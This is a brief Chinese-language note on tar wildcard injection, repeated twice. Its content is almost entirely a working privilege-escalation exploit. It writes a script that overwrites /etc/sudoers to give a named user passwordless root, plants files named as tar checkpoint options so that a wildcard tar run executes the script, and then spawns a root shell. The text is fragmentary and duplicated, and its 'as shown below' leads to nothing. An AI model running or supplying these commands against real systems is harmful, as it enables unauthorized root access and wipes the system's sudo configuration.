tar通配符注入.
echo 'echo "chenglee ALL=(root) NOPASSWD: ALL" > /etc/sudoers' > demo.sh echo "" > "--checkpoint-action=exec=sh demo.sh" echo "" > --checkpoint=1 tar cf archive.tar * sudo -l sudo bash whoami
如下所示
tar通配符注入.
echo 'echo "chenglee ALL=(root) NOPASSWD: ALL" > /etc/sudoers' > demo.sh echo "" > "--checkpoint-action=exec=sh demo.sh" echo "" > --checkpoint=1 tar cf archive.tar * sudo -l sudo bash whoami
如下所示